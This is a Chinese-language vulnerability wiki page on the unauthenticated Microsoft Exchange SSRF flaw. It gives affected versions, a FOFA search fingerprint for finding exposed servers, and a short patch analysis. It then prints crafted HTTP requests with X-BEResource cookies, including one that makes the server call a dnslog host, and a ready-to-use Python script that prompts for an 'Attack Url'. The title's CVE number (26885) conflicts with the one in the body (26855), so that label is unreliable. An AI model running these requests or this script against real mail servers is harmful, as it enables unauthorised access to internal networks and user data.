# Microsoft Exchange SSRF漏洞 CVE-2021-26885
## 漏洞描述
Exchange Server 是微软公司的一套电子邮件服务组件，是个消息与协作系统。2021年03月3日，微软官方发布了Microsoft Exchange安全更新，披露了多个高危严重漏洞，其中：在 CVE-2021-26855 Exchange SSRF漏洞中，攻击者可直接构造恶意请求，以Exchange server的身份发起任意HTTP请求，扫描内网，并且可获取Exchange用户信息。该漏洞利用无需身份认证
## 漏洞影响
> [!NOTE]
>
> Exchange 2013 Versions < 15.00.1497.012,
>
> Exchange 2016 CU18 < 15.01.2106.013,
>
> Exchange 2016 CU19 < 15.01.2176.009,
>
> Exchange 2019 CU7 < 15.02.0721.013,
>
> Exchange 2019 CU8 < 15.02.0792.010
# FOFA
> [!NOTE]
>
> icon_hash="1768726119"
## 漏洞复现
与 SSRF 有关的文件
```
/owa/auth/Current/themes/resources/logon.css
/owa/auth/Current/themes/resources/...
/ecp/default.flt
/ecp/main.css
/ecp/<single char>.js
```
查看补丁中的改变，可以看到有关 **BackEndServer** 使用的类关于 **BEResourceRequestHandler** 的改变
修复 BEResourceRequestHandler 使用的 BakcEndServer类的补丁
查看调用**BERsourceRequestHandler** 的方法 **SelectHandlerForUnauthenticatedRequest** 查找相关路径 **ProxyMoudle**
可以从中看到需要带有 EXP协议(例如路径 /ecp/), Cookie参数 **X-BEResponse**, 还有以静态扩展名结尾的 URL (例如 x.js, x.css等)
而其中的请求为 HttpProxy 来实现的，所以大部分的POC中请求的文件为**/etc/y.js** 这样类似不存在的文件
参数 **X-BEResource** 解析在 **BackEndServer.FromString**
跟踪 **BackEndServer**对象， 其中该对象使用 **ProxyRequestHandler** 向主机发送请求
这里进行SSRF的漏洞复现，首先访问 **/ecp/PeiQi.js** 文件
并设置Cookie **X-BEResource=peiqi_wiki/api/endpoint#~1; X-AnonResource=true**
```
GET /ecp/PeiQi.js HTTP/1.1
Host: xxx.xxx.com
Connection: close
sec-ch-ua: "Google Chrome";v="89", "Chromium";v="89", ";Not A Brand";v="99"
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.82 Safari/537.36
Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: image
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6
Cookie: X-BEResource=peiqi_wiki/api/endpoint#~1; X-AnonResource=true
```
用这样的方式请求可以确定是否存在 SSRF漏洞
```
响应包为:
NegotiateSecurityContext failed with for host 'peiqi_wiki' with status 'TargetUnknown'
显示这样的就是可能存在了
```
在通过发送一个请求给 Dnslog确认是否存在 SSRF给 Dnslog发送了一个请求
```
GET /owa/auth/PeiQi.js HTTP/1.1
Host: xxx.xxx.com
Connection: close
sec-ch-ua: "Google Chrome";v="89", "Chromium";v="89", ";Not A Brand";v="99"
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.82 Safari/537.36
Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: image
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6
Cookie: X-AnonResource=true; X-AnonResource-Backend=ianqsx.dnslog.cn/ecp/default.flt?~3; X-BEResource=ianqsx.dnslog.cn/owa/auth/logon.aspx?~3;
```
> [!NOTE]
>
> Cookie: X-AnonResource=true; X-AnonResource-Backend=ianqsx.dnslog.cn/ecp/default.flt?~3; X-BEResource=ianqsx.dnslog.cn/owa/auth/logon.aspx?~3;
>
> 将其中的 Dnslog换成自己的
确定收到了由服务端发送的请求，存在SSRF漏洞
## 漏洞利用POC
```python
import requests
import sys
import random
import re
import time
from requests.packages.urllib3.exceptions import InsecureRequestWarning
def title():
print('+------------------------------------------')
print('+ \033[34mPOC_Des: http://wiki.peiqi.tech \033[0m')
print('+ \033[34mGithub : https://github.com/PeiQi0 \033[0m')
print('+ \033[34m公众号 : PeiQi文库 \033[0m')
print('+ \033[34mVersion: Microsoft Exchange多个版本 \033[0m')
print('+ \033[36m使用格式: python3 poc.py \033[0m')
print('+ \033[36mUrl >>> mail.xxx.xxx.xxx \033[0m')
print('+ \033[36mDnslog >>> xxxx.dnslog.cn \033[0m')
print('+------------------------------------------')
def POC_1(target_url):
vuln_url = "https://" + target_url + "/ecp/PeiQi.js"
headers = {
'Cookie': 'X-BEResource=peiqi_wiki/api/endpoint#~1; X-AnonResource=true'
}
try:
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
response = requests.get(url=vuln_url, headers=headers, verify=False, timeout=5)
if response.status_code == 500 and 'NegotiateSecurityContext' in response.text and 'peiqi_wiki' in response.text:
print("\033[32m[o] 目标 {} 存在SSRF漏洞， 输入Dnslog地址进一步检测....\033[0m".format(target_url))
dnslog = str(input("\033[35mDnslog >>> \033[0m"))
POC_2(target_url, dnslog)
else:
print("\033[31m[x] 目标 {} 不存在SSRF漏洞 \033[0m".format(target_url))
except Exception as e:
print("\033[31m[x] 请求失败 \033[0m", e)
def POC_2(target_url, dnslog):
vuln_url = "https://" + target_url + "/owa/auth/PeiQi.js"
headers = {
'Cookie': 'X-AnonResource=true; X-AnonResource-Backend={}/ecp/default.flt?~3; X-BEResource={}/owa/auth/logon.aspx?~3;'.format(dnslog, dnslog)
}
try:
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
response = requests.get(url=vuln_url, headers=headers, verify=False, timeout=5)
print("\033[32m[o] 请查看 Dnslog：{} 响应....\033[0m".format(dnslog))
except Exception as e:
print("\033[31m[x] 请求失败 \033[0m", e)
if __name__ == '__main__':
title()
target_url = str(input("\033[35mPlease input Attack Url\nUrl >>> \033[0m"))
POC_1(target_url)
```
## Goby & POC
> [!NOTE]
>
> Microsoft Exchange SSRF漏洞 CVE-2021-26885
